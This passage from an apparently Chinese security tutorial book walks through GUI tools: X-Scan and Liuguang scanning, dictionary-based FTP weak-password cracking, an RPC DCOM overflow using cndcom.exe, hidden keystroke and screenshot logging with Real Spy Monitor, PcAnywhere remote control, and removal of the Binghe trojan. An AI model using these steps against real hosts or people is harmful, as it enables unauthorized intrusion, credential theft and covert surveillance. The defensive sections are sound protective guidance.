因为X-Scan是一款多线程扫描工具，所以在“全局设置”选项下的“并发扫描”子选项中，可以设置扫描时的线程数量（扫描线程数量要根据自己网络情况来设置，不可过大），如图2-44所示。

图　2-44　设置扫描线程数量

（3）设置扫描报告存放路径

在“全局设置”选项中选取“扫描报告”子选项，即可设置扫描报告存放的路径，并选择报告文件保存的文件格式。若需要保存设置的扫描IP地址范围，则可在勾选“保存主机列表”复选框之后，输入保存文件名称，这样，以后就可以调用这些IP地址了。若用户需要在扫描结束时自动生成报告文件并显示报告，则可勾选“扫描完成后自动生成并显示报告”复选框，如图2-45所示。

图　2-45　设置报告存放路径

（4）设置其他扫描选项

在“全局设置”选项中选取“其他设置”子选项，则可设置扫描过程其他选项，如勾选“跳过没有检测到开放端口的主机”复选框，如图2-46所示。

图　2-46　其他选项设置

（5）设置扫描端口

展开“插件设置”选项并选取“端口相关设置”子选项，即可扫描端口范围以及检测方式，如图2-47所示。若要扫描某主机的所有端口，则可在“待扫描端口”文本框中输入“1～65535”。

图　2-47　设置端口范围

（6）设置SNMP扫描

在“插件设置”选项中选取“SNMP相关设置”子选项，用户可以选取在扫描时获取SNMP信息的内容，如图2-48所示。

图　2-48　选择需要获取的SNMP信息

（7）设置NETBIOS扫描

选取“插件设置”选项下的“NETBIOS相关设置”子选项，用户可以选择需要获取的NETBIOS信息，如图2-49所示。

图　2-49　选取需要获取的NETBIOS信息

（8）设置漏洞检测脚本

选取“插件设置”选项下的“漏洞检测脚本设置”子选项，在显示窗口中取消勾选“全选”复选框，单击【选择脚本】按钮，即可选择扫描时需要加载的漏洞检测脚本，如图2-50所示。

图　2-50　选择漏洞检测脚本

（9）设置CGI插件扫描

在“插件设置”选项下选择“CGI相关设置”子选项，即可选择扫描时需要使用的CGI选项，如图2-51所示。

图　2-51　选取CGI选项

（10）设置字典文件

在“字典文件设置”选项中可选择需要的破解字典文件，如图2-52所示。在设置好所有选项之后，单击【确定】按钮，即可完成扫描参数的设置。

图　2-52　选择破解字典文件

第12招　用流光扫描主机漏洞

流光在国内的安全爱好者们心中可以说是无人不晓，它不仅仅是一个安全漏洞扫描工具，更是一个功能强大的渗透测试工具。流光以其独特的C/S结构设计的扫描设计颇得好评。

1.批量主机扫描

流光因功能较多，所以对初学者来说显得有点儿繁琐，不过幸好熟悉这个过程需要的时间不会太长，下面将为大家详细讲述用流光扫描主机漏洞的方法。具体操作步骤如下。

步骤1：在“流光”主窗口中选择【文件】→【高级扫描向导】菜单项或按"Ctrl+W"组合键，即可弹出【设置】对话框，如图2-53所示。

图　2-53　“流光”主窗口

步骤2：在“起始地址”和“结束地址”项右侧文本框中输入起始IP（如：192.168.0.1）和终止IP（如：192.168.0.255），将“目录系统”设置为"Windows NT/2000"，如图2-54所示。

图　2-54　【设置】对话框

步骤3：在全选所有检测项目后，单击【下一步】按钮，即可打开【PORTS】对话框，在其中指定扫描的端口范围（这里既可选择“标准端口扫描”项，也可选中“自定端口扫描范围”项），自行设定所需要扫描的端口范围，如图2-55所示。

图　2-55　【PORTS】对话框

步骤4：在如图2-56所示中全都选择默认状态后，单击【下一步】按钮，直到进入"Telnet"设置界面，则清空"SunOS Login"选项，如图2-57所示。

图　2-56　各个选项设置界面

图　2-57　"Telnet"设置界面

步骤5：单击【下一步】按钮进入"CGI Rules"设置界面，在操作系统类型列表中选择"Windows NT/2000"项，根据需要选中或清空下方扫描列表的具体选项，如图2-58所示。

图　2-58　"CGI Rules"设置界面

步骤6：单击【下一步】按钮，即可在如图2-59所示中选择默认状态，也可以根据实际需要清空部分选项。单击【下一步】按钮，即可进入"Plugings"设置界面，将操作系统的类型设置为"Windows NT/2000"选项，如图2-60所示。

图　2-59　设置扫描各项

图　2-60　"Plugings"设置界面

步骤7：在完成基本设置后，还需要指定扫描引擎的位置。单击【下一步】按钮，即可打开【选择流光主机】对话框，流光的扫描引擎既可以安装在不同的主机上，也可以直接从本地启动，如图2-61所示。如果没有安装过任何扫描引擎，流光将使用默认的本地扫描引擎。

图　2-61　【选择流光主机】对话框

步骤8：单击【开始】按钮，程序开始进行扫描并可以在流光右上部分的控制台中看到正在扫描的内容，如图2-62所示。

图　2-62　查看正在扫描的内容

步骤9：当扫描到安全漏洞时流光会弹出一个“扫描结果”窗口，在其中可以看到能够连接成功的主机和其扫描到的安全漏洞信息，如图2-63所示。当扫描结束后，流光会弹出一个对话框，询问用户是否立即查看更为详细的扫描结果，如图2-64所示。

图　2-63　探测结果

图　2-64　“注意”提示框

步骤10：单击【是】按钮，随即流光将使用IE浏览器打开含有扫描报告的网页，在其中可以看到每台主机的详细扫描报告，如图2-65所示。

图　2-65　查看详细扫描报告

2.指定漏洞扫描

很多时候并不需要对指定主机进行全面的扫描，而是根据需要对指定的主机漏洞进行扫描。比方说只想扫描指定主机是否具有FTP方面的漏洞，是否有CGI方面的漏洞等。

具体的操作步骤如下。

步骤1：先加入需要破解的站点名称，只需在“流光”主窗口中右击“FTP主机”，在快捷菜单中选择【编辑】→【添加】菜单项，即可打开【添加主机】对话框，如图2-66所示。

图　2-66　“流光”主窗口

步骤2：在其中输入远程主机的域名或IP地址，单击【确定】按钮关闭对话框，如图2-67所示。因为要探测主机的FTP是否存在漏洞，而这个是从FTP是否具有弱口令体现出来的。

图　2-67　【添加主机】对话框

步骤3：还需在流光中添加用户和密码的字典。右击添加主机“192.168.0.14”，在快捷菜单中选择【编辑】→【从列表中添加】菜单项，即可打开【打开】对话框，如图2-68所示。

图　2-68　添加用户名和字典

步骤4：在【打开】对话框中选择流光安装目录中含有用户名列表的Name文件，如图2-69所示。单击【打开】按钮，双击新添加用户列表文件下的“显示所有项目”项，随即“显示所有项目”项将切换成“隐藏所有项目”项，而用户列表中的所有用户都将显示出来，此时可以通过鼠标单击勾选/清除复选框来决定用户名的选用与否，如图2-70所示。

图　2-69　【打开】对话框

图　2-70　查看隐藏的所有项目

步骤5：按"Ctrl+F7"快捷按钮，即可令流光开始FTP的弱口令探测。当流光探测到弱口令后，在主窗口下方将会出现探测到的用户名、密码和FTP地址，如图2-71所示。

图　2-71　显示“所有探测的密码”窗口

第13招　用MBSA检测Windows系统

Microsoft基准安全分析器（Microsoft Baseline Security Analyzer, MBSA）工具允许用户扫描一台或多台基于Windows的计算机，以发现常见的安全方面的配置错误。MBSA将扫描基于Windows的计算机并检查操作系统和已安装的其他组件（如IIS和SQL Server），以发现安全方面的配置错误，并及时通过推荐的安全更新进行修补。

1.MBSA的安装设置

MBSA可以执行对Windows系统的本地和远程扫描，可以扫描错过的安全升级补丁已经在Microsoft Update上发布的服务包。使用MBSA V2.0对系统漏洞进行安全分析之前，先要对MBSA进行安装设置，具体的操作步骤如下。

步骤1：下载并双击"MBSA V2.0"安装程序图标，即可进入“Welcome to the Microsoft Baseline Security Analyzer（MBSA V2.0欢迎安装向导）”界面，如图2-72所示。

图　2-72　"Welcome to the Microsoft Baseline Security Analyzer"界面

步骤2：单击【Next】按钮，即可打开【License Agreement】对话框，在其中阅读安装信息，如图2-73所示。

图　2-73　【License Agreement】对话框

步骤3：在阅读完毕后，选择"I accept the license agreement"单选项，单击【Next】按钮，即可打开【Destination Folder】对话框。单击【Browse】按钮，在其中根据需要选择安装的目标位置，如图2-74所示。

图　2-74　【Destination Folder】对话框

步骤4：在选择好安装的目标位置之后，单击【Next】按钮，即可打开【Start installation】对话框，如图2-75所示。若单击【Back】按钮，则返回上一级菜单。

图　2-75　【Start installation】对话框

步骤5：单击【Install】按钮，即可打开【Installation progress】对话框，程序开始安装并显示安装的进度条，如图2-76所示。程序安装完毕后，即可弹出【MBSA Setup】提示框，提示"Microsoft Baseline Security Analyzer Setup has Completed Successfully"信息。单击【OK】按钮，将完成整个安装过程，如图2-77所示。

图　2-76　【Installation progress】对话框

图　2-77　【MBSA安装】提示框

2.检测单台计算机

单台计算机模式最典型的情况是“自扫描”，也就是扫描本地计算机。

扫描单台计算机的具体操作步骤如下。

步骤1：双击桌面上的"MBSA V2.0"应用程序图标，即可进入"MBSA V2.0"应用程序主窗口，如图2-78所示。

图　2-78　"MBSA V2.0"应用程序主窗口

步骤2：在这里可以选择检测一台计算机，还是检测多台计算机。如果要检测一台（通常是当前计算机，但也可以是网络中其他计算机），则只需要单击【Scan a computer】按钮，即可打开【Pick a Computer to Scan】对话框，在"Computer name"栏中，选择默认的当前计算机名；用户也可以更改，在"IP address"栏中输入需要检测的其他计算机IP地址，如图2-79所示。

图　2-79　【Pick a Computer to Scan】对话框

提示　要想扫描一台计算机，必须具有该计算机的管理员访问权限才行。在【Pick a Computer to Scan】对话框中有许多复选框。其中涉及到选择扫描检测的项目，包括Windows系统本身、IIS和SQL等相关选项，也就是MBSA的三大主要功能。根据检测到的计算机系统中所安装的程序系统和实际需要来确定。如果要形成检测结果报告文件，则在"Security report name"栏中输入报告文件名称。

步骤3：在输入要检测的计算机并选择好要检测的项目后，单击【Start Scan】按钮，即可打开【Scanning】对话框，自动开始检测已选择项目并显示检测进度条，如图2-80所示。

图　2-80　【Scanning】对话框

步骤4：在检测完成之后，即可弹出【View Security report】对话框，如图2-81所示。若单击"Microsoft Baseline Security Analyzer"栏目下方的【Pick a security report to view】按钮，即可查看扫描后的安全报告内容，如图2-82所示。

图　2-81　【View Security report】对话框

图　2-82　扫描后的安全报告内容

在报告中凡检测到存在严重安全隐患的则以红色“×”显示，中等级别的则以黄色“×”显示。用户还可单击"How to correct this"链接了解如何配置才能纠正这些不正确设置。

在如图2-81所示的检测结果中，第一项（Windows Security updates），是严重隐患，说明用户存在安全更新的问题。第二项和第三项（Office Security Updates和Silverlight Security Updates）是中等级别的隐患，说明Office软件的安全性更新与Silverlight的安全性更新等存在问题。

3.检测多台计算机

多台计算机模式是对某一IP地址段或整个域进行扫描。只需单击左侧"Microsoft Baseline Security Analyzer"栏目下方的【Pick a Multiple Computers to Scan】按钮，即可指定要扫描检测的多台计算机。所扫描的多台计算机范围可通过在"Domain name"文本框中输入这些计算机所在域来确定。这样，可检测相应域中所有计算机，也可通过在"IP address range"栏中输入IP地址段中的起始IP地址和终止IP地址来确定，这样，只检测IP地址范围内的计算机。单击【Start Scan】按钮，同样可以开始检测，如图2-83所示。

图　2-83　检测的多台计算机

第14招　深入浅出RPC漏洞扫描

RPC（Remote Procedure Call，远程过程调用）是操作系统的一种消息传递功能。RPC在处理通过TCP/IP的消息交换部分有一个漏洞。如果成功利用此漏洞，攻击者就可以取得系统的控制权，完全控制被入侵的系统，窃取文件、破坏资料、重新格式化硬盘或建立系统管理员权限的账户等。RPC漏洞溢出攻击的具体操作方法如下。

步骤1：将下载好的Dcomrpc.xpn插件复制到X-scan的Plugin文件夹中运行X-scan，执行“设置”→“扫描参数”命令，在【扫描参数】对话框的“全局设置”和“扫描模块”中，可看到增加的“DcomRpc溢出漏洞”模块，如图2-84所示。

图　2-84　添加RPC漏洞扫描模块

步骤2：如果使用rpc_locator.exe专用RPC溢出漏洞扫描工具，则先打开“命令提示符”窗口，进入rpc_locator.exe所在文件夹，执行“rpc_locator起始IP地址结束IP地址”命令后开始扫描并看到最终扫描结果，如图2-85所示。

图　2-85　rpc_locator的使用

步骤3：在扫描到RPC溢出漏洞主机之后，可使用cndcom.exe溢出工具，执行"Cndcom＜Target ID＞＜Target IP＞"命令。

例如：攻击一个IP地址为127.0.0.1，系统版本为英文版Windows 2000+SP4的目标主机，其对应的溢出攻击命令如图2-86所示。对于存在RPC溢出漏洞的系统，用户应及时下载相应的安全补丁并进行安装，同时还应使用防火墙封堵135端口。

图　2-86　执行溢出工具命令

第15招　用ProtectX防御扫描器追踪

ProtectX是一款在用户连接网络时保护电脑的工具，可以同时监视20个端口，还可以帮助追踪攻击者的来源。一旦任何入侵者尝试连接到用户的电脑，即可发出声音警告并将入侵者的IP位址记录下来，可以防止黑客入侵。

1.ProtecX实用组件概述

ProtectX安装过程与一般软件安装过程类似，这里不再赘述。在安装完毕ProtectX后重启系统，即可在Windows系统的通知栏中看到显示的ProtectX图标，双击即可显示操作界面，窗口中间显示的是当前本机状态信息，如图2-87所示。

图　2-87　ProtectX初始界面

ProtectX提供了几项实用功能组件，依次是端口安全（Port Sentry）、特洛伊安全（Trojan Sentry）和Identd服务（Identd Server）等。

1）端口安全。端口安全就是端口扫描监视器，在TCP端口1上监听，如果有扫描活动触发到1号端口，则Port Sentry将会报警，如图2-88所示。Protectx便可反跟踪对方，查询其域名、追溯起路由信息，并显示所截击到的扫描信息，如图2-89所示。

图　2-88　Port Sentry的报警信息

图　2-89　显示所截击到的扫描信息

2）特洛伊安全。特洛伊安全是指在一些木马常用端口上进行监听，一旦发现有人试图连接这些端口，即可报警。

3）Identd服务。可在计算机上打开一个安全Identd服务，初级用户最好不要打开这个服务。

2.防御扫描器入侵

有了ProtectX的保护，对于一般的扫描攻击，大家就不用担心了。不过仅仅依靠这个工具，还远远谈不上安全，还需要提前做好防御扫描入侵的准备。

1）对于Windows 2000/XP用户，要修改注册表，禁止匿名用户对IPC$的访问。方法是在注册表编辑器中展开到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl Set\Control\Lsa分支，找到restrictanonymous键值并将其值改为1，如图2-90所示。

图　2-90　将restrictanonymous键值改为1

2）修改注册表，禁止自动管理共享。在注册表编辑器中展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl Set\Services\Lanmanserver\parameters分支，找到AutoShareServer键值并将其改为0，同时找到AutoShareWKs键值，改为0，如图2-91所示。

图　2-91　将restrictanonymous键值改为0

3）及时更新操作系统。

第16招　监控局域网计算机

针对机房中的用户经常误设工作组、随意更改计算机名、IP地址和共享文件夹等情况，可以使用“局域网查看工具LanSee”非常方便地完成监控，既可以迅速排除故障，又可以解决一些潜在的安全隐患。

1.搜索计算机

LanSee是一款主要用于对局域网（Internet上也适用）上各种信息进行查看的工具，采用多线程技术，将局域网上比较实用的功能完美地融合在一起，功能十分强大。

使用LanSee工具搜索计算机的具体操作步骤如下。

步骤1：双击下载的应用程序，即可打开【局域网查看工具】主窗口，如图2-92所示。

图　2-92　【局域网查看工具】主窗口

步骤2：单击【设置】按钮，即可在【设置】对话框中选择相应网段形式，并进行相应的设置，如图2-93所示。在【搜索计算机设置】选项卡中选择在局域网内搜索计算机的选项，并在其文本框中输入搜索的相关任务，如图2-94所示。

图　2-93　【设置】对话框

图　2-94　【搜索计算机设置】对话框

步骤3：在【搜索文件设置】选项卡中没有要使用的文件类型，则可在【添加】按钮左侧的文本框中输入需要的文件格式名，如图2-95所示。单击【添加】按钮，即可成功添加。

图　2-95　【搜索文件设置】对话框

步骤4：在选择所需格式之后，单击【保存设置】按钮，即可完成对搜索文件的设置。在【端口设置】选项卡中选择扫描的范围，并在“常用端口设置”中选择要使用的端口，如图2-96所示。

图　2-96　【端口设置】对话框

步骤5：打开【局域网查看工具】主窗口后，在“搜索工作组”文本框中输入某台计算机名称，单击【计算机名→IP】按钮，即可在文本框中显示出该计算机IP地址，如图2-97所示。

图　2-97　IP地址的显现

步骤6：如果要打开搜索的计算机并与之进行连接，则单击【打开该计算机】按钮，在【连接到】对话框中输入相应内容，即可与此计算机建立连接，如图2-98所示。

图　2-98　【连接到】对话框

步骤7：如果想要搜索某一工作组的计算机，则单击【搜索工作组】按钮，即可搜索到局域网内的一切工作组，如图2-99所示。单击【搜索计算机】按钮，即可搜索出相应的计算机，如图2-100所示。

图　2-99　工作组显现

图　2-100　搜索计算机

2.搜索共享资源

共享资源往往是局域网数据泄漏的“罪魁祸首”，网管要经常检查局域网中是否存在一些不必要的开放共享资源，在查看到不安全因素后，要及时通知开放共享的用户将其关闭。

在LanSee中进行这个操作前需要先搜索出计算机，单击菜单栏中【搜索共享资源】按钮，即可在“共享资源列表”框中看到每台计算机开放的共享资源，如图2-101所示。

图　2-101　搜索共享资源

第17招　Real Spy Monitor监控网络

Real Spy Monitor是一个监测互联网和个人电脑，以保障其安全的软件，包括键盘敲击、网页站点、视窗开关、程序执行、屏幕扫描以及文件的出入等都是其监控的对象。

1.添加使用密码

在使用Real Spy Monitor对系统进行监控之前，要进行一些设置，具体的操作步骤如下。

步骤1：在安装完Real Spy Monitor之后，双击桌面上的"Real Spy Monitor"应用程序图标，即可弹出“注册”页面，如图2-102所示。

图　2-102　“注册”页面

步骤2：在阅读相应的注册信息后，单击【Continue..】按钮，即可打开【SetPassWord】对话框。由于是第一次使用，所以没有旧密码可更改，只需在"New Password"和"Confirm"文本框中输入相同的密码。单击【OK】按钮，即可完成密码设置，如图2-103所示。

图　2-103　【SetPassWord】对话框

小技巧　在【SetPassWord】对话框中所填写的新密码，将会在Real Spy Monitor的使用中处处要用，所以千万不能忘记密码。

2.设置弹出热键

需要设置弹出热键，那是因为Real Spy Monitor运行时会彻底地将自己隐藏，用户在“任务管理器”等处看不到该程序的运行。要将运行时的Real Spy Monitor调出就要使用热键才行，否则即使单击【开始】菜单中的Real Spy Monitor菜单项也不会将其调出。

设置热键的具体操作步骤如下。

步骤1：在设置完使用密码后将返回到"Real Spy Monitor"主窗口，如图2-104所示。

图　2-104　"Real Spy Monitor"的主窗口

步骤2：单击"Hotkey Choice"图标，即可打开【Configuration】对话框，在"Select your hotkey patten"下拉列表中选择所需热键（也可自定义），如图2-105所示。

图　2-105　【Configuration】对话框

3.监控浏览过的网站

在完成了最基本的设置后，就可以使用Real Spy Monitor进行系统监控了。下面讲述Real Spy Monitor如何对一些最常使用的程序进行监控。监控浏览过的网站的具体操作步骤如下。

步骤1：单击"Real Spy Monitor"主窗口中的【Start Monitor】按钮，为确保程序的使用者是设置使用密码的那个用户，Real Spy Monitor将会弹出【密码输入】对话框，只有输入正确的密码后，才可能让Real Spy Monitor听从号令，如图2-106所示。

图　2-106　【密码输入】对话框

步骤2：单击【OK】按钮，即可弹出“注意”提示框，在认真阅读注意信息后，单击【OK】按钮，如图2-107所示。

图　2-107　“注意”提示框

步骤3：使用IE浏览器随便浏览一些网站后，再按所设的"Ctrl+Alt+S"组合键，则弹出如图2-108所示的窗口。在【密码输入】对话框中输入所设置的密码，才能够调出"Real Spy Monitor"主窗口，可以发现其中"Websites Visited"项下已有了计数，如图2-109所示。

图　2-108　查看Websites Visited计数个数

图　2-109　Websites Visited"Report"窗口

步骤4：在其中可以看出计数的数字为37，这表示共打开了37个网页。单击"Websites Visited"项中的图标后将弹出"Report"窗口，可看到列表里的37个网址。这就是Real Spy Monitor监控到使用IE浏览器打开的网页。

提示　如果想要深入查看相应网页是什么内容，只需要双击列表中的网址，即可自动打开IE浏览器访问的相应网页。

4.键盘输入内容监控

对键盘输入的内容进行监控通常是木马做的事，但Real Spy Monitor为了让自身的监控功能变得更加强大也提供了此功能。其针对键盘输入内容进行监控的具体操作步骤如下。

步骤1：在输入一些内容后，再按所设的"Ctrl+Alt+S"组合键，则会弹出如图2-108所示的窗口。在【密码输入】对话框中输入所设置的密码调出"Real Spy Monitor"主窗口，此时可以发现"Keystrokes Typed"项下已经有了计数，如图2-110所示。

图　2-110　查看Keystrokes Typed计数个数

步骤2：在其中可以看出计数的数字为15，这表示有和计数数字相同的15条记录。单击"Keystrokes Typed"项中的图标后，弹出"Report"窗口，在其中可以看到有和计数数字相同的15条记录，如图2-111所示。

图　2-111　Keystrokes Typed的"Report"窗口

步骤3：双击其中任意一条记录，弹出记事本窗口，在其中可以看出"Administrator"用户在某点某时某分输入的信息，如图2-112所示。如果用户输入了"Ctrl"类的快捷键，则Real Spy Monitor同样也可以捕获到，如图2-113所示。

图　2-112　查看记事本

图　2-113　捕获包含"Ctrl"这类的快捷键

5.程序执行情况监控

如果想知道用户都在计算机中运行哪些程序，只需在"Real Spy Monitor"主窗口中单击"Programs Executed"图标，在弹出报告对话框中可看到运行的程序名和路径，如图2-114所示。

图　2-114　Programs Executed的"Report"窗口

6.即时截图监控

用户可以通过Real Spy Monitor的即时截图监控功能（默认为一分钟截一次图）来查知用户的操作历史。

监控即时截图的具体操作步骤如下。

步骤1：在"Real Spy Monitor"主窗口单击"Screen Snapshots"图标，即可弹出【Reprot】对话框，在其中可看到Real Spy Monitor对系统进行的操作，如图2-115所示。

图　2-115　Screen Snapshots的"Report"窗口

步骤2：也可双击其中任意一项截图记录，打开Windows图片和传真查看器，可查看所截取的图，如图2-116所示。

图　2-116　查看所截取的图

显然，Real Spy Monitor的功能是极其强大的。使用它对系统进行监控，网管将会轻松得多。在一定程度上，为查看网管监控系统中是否有黑客的入侵带来了极大的方便。

第3章
控制与反控制技术

重点提示

♂远程控制经典PcAnywhere

♂用“冰河陷阱”揪出冰河木马

♂用QuickIP进行多点控制

♂用WinShell实现远程控制

♂用灰鸽子实现远程管理

♂远程控制命令PsExec

♂实现Serv-U远程控制

♂用SyGate突破上网封锁

本章精粹：

本章介绍了远程控制的基础知识，远程控制技术的运用方法，以及黑客远程控制工具的使用技巧等内容。其中包括：远程控制经典PcAnywhere工具、冰河木马工具、灰鸽子工具、QuickIP工具等实例操作，有助于读者对远程控制技术有一个全面认识，以便预防黑客入侵。

在黑客攻击中，远程控制也是非常关键的黑客技术。控制与反控制一直是黑客与安全人员之间的一对矛盾，在相互较量中不断上演着一幕又一幕“魔高一尺，道高一丈”的好戏。

第18招　远程控制经典PcAnywhere

Symantec PcAnywhere是一款非常经典的远程控制工具，可以提高技术支持效率并减少呼叫次数。使用被控端会议功能，可建立到一个Symantec PcAnywhere被控端的多个并发远程连接。使用PcAnywhere远程控制软件，需要同时在主控端和被控端计算机上进行安装。

1.设置PcAnywhere的性能

在主控端和被控端计算机中分别安装好PcAnywhere之后，要想真正让PcAnywhere控制远程计算机，要做的第一步工作就是配置被控端计算机。

（1）使用联机向导配置被控端

配置被控端的具体设置步骤如下。

步骤1：双击"Symantec pcAnywhere"图标，即可进入pcAnywhere窗口，如图3-1所示。单击【主机】链接选项，即可打开【连接向导-连接方法】对话框，如图3-2所示。

图　3-1　pcAnywhere的操作窗口

图　3-2　【连接向导-连接方法】对话框

步骤2：在选择好连接方法之后，单击【下一步】按钮，即可打开【连接向导-连接模式】对话框，在其中选择“等待有人呼叫我”单选项，如图3-3所示。

图　3-3　【连接向导-连接模式】对话框

步骤3：在选择好连接模式后，单击【下一步】按钮，即可打开【连接向导-验证类型】对话框，在其中选择需要的验证类型，如选取“我想使用存在的Windows账户”单选项，如图3-4所示。

图　3-4　【连接向导-验证类型】对话框

步骤4：单击【下一步】按钮，即可打开【连接向导-选择账户】对话框，在其中选择远程登录用户所使用的本地账户，如图3-5所示。

图　3-5　【连接向导-选择账户】对话框

步骤5：继续单击【下一步】按钮，即可打开【连接向导-摘要】对话框，在其中勾选“连接向导完成后等待来自远程计算机的连接”复选框，如图3-6所示。

图　3-6　【连接向导-摘要】对话框

步骤6：单击【完成】按钮，即可关闭连接向导，同时在Windows的通知区域中显示一个图标，表示PcAnywhere正在等待远程控制端的连接。右击新添加的远程控制端并在打开的快捷菜单中选择【属性】菜单项，即可打开其属性对话框，如图3-7所示。在【安全性选项】选项卡中可设置联机选项、登录选项、会话选项以及数据加密等安全策略，如图3-8所示。

图　3-7　设置选项卡

图　3-8　安全性设置

步骤7：在上述属性都配置好之后，单击【确定】按钮，即可完成被控端的设置。右击主机图标，在快捷菜单中选择【启动主机】菜单项，主机将启动并在系统任务栏上显示一个电脑形状的图标，开始等待远程控制端进行连接。当有用户远程连接时，图标将改变颜色。

提示　在被控端需要有多点传播地址，且此地址必须介于255.1.1.1～239.254.254.254之间。

（2）使用联机向导设置主控端

在设置好被控主机之后，还需配置主控制端计算机。配置主控制端的具体操作步骤如下。

步骤1：在【PcAnywhere管理器】任务栏中选择【远程】选项，选择【文件】→【新建项目】→【连接向导】菜单项，可打开【连接向导-连接方法】对话框，如图3-9所示。

图　3-9　选择连接方式

步骤2：在选择好连接方法之后，单击【下一步】按钮，可进入【连接向导-目标地址】对话框，在其中输入远程计算机的IP地址，如图3-10所示。

图　3-10　输入IP地址

步骤3：单击【下一步】按钮，可打开【连接向导-连接名称】对话框，在其中输入需要连接的名称，如图3-11所示。

图　3-11　输入连接名称

步骤4：单击【下一步】按钮，可打开【连接向导-摘要】对话框，勾选“连接向导完成后连接到主机计算机”复选框，再查看自己的设置是否正确。若无误，则单击【完成】按钮，即可关闭连接向导，如图3-12所示。

图　3-12　完成连接向导

步骤5：右击新建的远程控制端并在快捷菜单中选择【属性】菜单项，则可打开其属性对话框，如图3-13所示。在【设置】选项卡中可以配置远程连接选项，可以重新设置被控端计算机的IP地址，还可以勾选“一旦连接即自动登入被控端”复选框，并输入登录用户名和密码等选项，如图3-14所示。

图　3-13　连接信息设置

图　3-14　设置登录选项

在【加密】选项卡中可设置该主控端在远程控制过程中使用的加密级别，默认不加密。可按照需要选择使用对称密钥、公钥或PcAnywhere加密方式，其中PcAnywhere加密方式将前面的两种加密技术结合在一起，具有速度和安全性两方面优点，如图3-15所示。

图　3-15　设置加密功能

在【PcAnywhere管理器】任务栏中选择【快速连接】选项之后，需要在其中输入被控主机的IP地址、计算机名称，如图3-16所示。单击【连接】按钮，可与被控主机建立连接，在“启动模式”下拉列表中可选择“远程控制”、“远程管理”和“文件传送”等选项。

图　3-16　快速连接

（3）快速部署与联机

快速部署与联机的具体操作步骤如下。

步骤1：在【PcAnywhere管理器】任务栏中选择【快速部署与连接】选项，可看到已经连接的计算机名称，如图3-17所示。

图　3-17　快速部署与联机

步骤2：双击需要连接的被控主机的计算机名称，可显示如图3-18所示的对话框。在其中输入登录用户名和密码之后，单击【确定】按钮，可与被控主机建立连接。

图　3-18　与被控主机成功建立连接

2.用PcAnywhere进行远程控制

与被控主机连接并成功登录，就可以对被控主机进行远程控制。

1）远程控制。在【会话管理器】任务栏中选择【远程控制】选项，即可对被控主机的桌面进行远程控制，如打开或关闭远程窗口、通过被控主机进行网页浏览等。

2）远程管理。在【会话管理器】任务栏中选择【远程管理】选项，即可对被控端计算机运行的应用程序以及进程进行管理，如图3-19所示。

图　3-19　进程管理

3）文件传送。远程用户在远程传输文件时可暂时中止远程操作功能，使文件传输线路更加稳定。此外，PcAnywhere还提供同步文件夹的方式传送文件，允许用户通过自动化任务，让软件按用户设置在指定时间内连接远程计算机，进行指定的文件传输操作或同步指定文件夹。

如果要远程传送文件，则在【会话管理器】任务栏中选择【文件传送】选项，即可在被控端与主控端计算机之间进行文件传送，如图3-20所示。

图　3-20　文件传送

4）命令队列。在【会话管理器】任务栏中选择【命令队列】选项，即可通过手动键入命令来进行操作，如图3-21所示。

图　3-21　使用命令队列

5）显示聊天。在即时通讯软件流行的今天，大家也许会觉得远程聊天的功能有些多余，恰恰相反，在很多情况下，该功能对于双方沟通起着相当重要的作用。在【会话管理器】任务栏中选择【显示聊天】选项后，可像在QQ中一样进行实时聊天，如图3-22所示。

图　3-22　【聊天】对话框

6）结束会话。在【会话管理器】任务栏中选择【结束会话】选项，在显示的对话框中单击【是】按钮，即可结束主控端与被控端之间的会话，如图3-23所示。如果用户在联机过程中保存有会话记录，则可以在会话结束之后，双击该记录文件，浏览以前的会话过程。

图　3-23　结束会话

第19招　用“冰河陷阱”揪出冰河木马

“冰河”木马实际上只是一个网络客户/服务程序。网络客户/服务模式的原理是一台主机提供服务（服务器），另一台主机接受服务（客户机）。作为服务器的主机一般会打开一个默认的端口并进行监听（Listen），如果有客户机向服务器的这一端口提出连接请求（Connect Request），服务器上的相应程序就会自动运行，来应答客户机的请求。

1.冰河陷阱概述

对于冰河，被控制端就成为一台服务器，控制端则是一台客户机，G_server.exe是守护进程，G_client是客户端应用程序。“冰河”木马采用标准的C/S（Client/Server，客户/服务器）结构，包括客户端程序（G_Client）和服务器端程序（G_Server）。由于其简单易用的特点，加上强大的远程控制能力，不易被发觉且很难根除。“冰河”软件开发者开发了一款专门针对“冰河”的工具“冰河陷阱”。用来对付那些把“冰河”用在不正当地方的人。“冰河陷阱”程序主要有两大功能：一是自动清除所有版本“冰河”被控端程序；二是把自己伪装成“冰河”被控端，记录入侵者的所有操作。如果网上的一些朋友们还在受“冰河”的困扰，“冰河陷阱”无疑是最好的选择。

2.清除冰河木马

检测“冰河”木马的最直接、有效的方法就是使用"netstat-a"命令来查看目标主机的网络连接情况，如果发现端口7626开放，这台计算机很可能是已经中了冰河木马。反之，如果端口7626没有开放，但却发现有其他的可疑端口开放了，这时候就可以在目标主机中查找Kernel32.exe或sysexplr.exe文件，如果在Windows的系统目录中存在这两个文件，如图3-24所示，则表明该计算机中了“冰河”木马。清除“冰河”木马的方法有如下两种。

（1）使用控制端程序进行卸载

使用冰河自带的卸载功能很容易完成对控制端的卸载工作。具体的操作步骤如下。

图　3-24　查找Kernel32.exe或sysexplr.exe文件

步骤1：在“冰河”的客户端程序主窗口中，选择【命令控制台】→【控制类命令】→【系统控制】菜单项，即可在打开窗口中看到【自动卸载冰河】按钮，如图3-25所示。

图　3-25　使用自动卸载功能

步骤2：单击【自动卸载冰河】按钮，可打开【确认要卸载冰河】提示框，提示用户是否将远程计算机上的“冰河”彻底清除，如图3-26所示。单击【是】按钮，可将目标计算机中的冰河清除。

图　3-26　【确认要卸载冰河】提示框

（2）清理注册表

一旦运行了冰河服务端程序，“冰河”木马就会在C:\Windows\system32目录下生成kernel32.exe和sysexplr.exe并删除自身。而kernel32.exe会随着系统启动而自动加载运行。所以要想彻底清除冰河木马，则需要通过清理注册表才能实现。具体的操作步骤如下。

步骤1：在“注册表编辑器”窗口中展开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run分支和HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices分支后，查看两处是否有同名可疑程序名（默认安装为kernel32.exe或kernel32.dll），有则删除，如图3-27所示。

图　3-27　冰河的启动键值

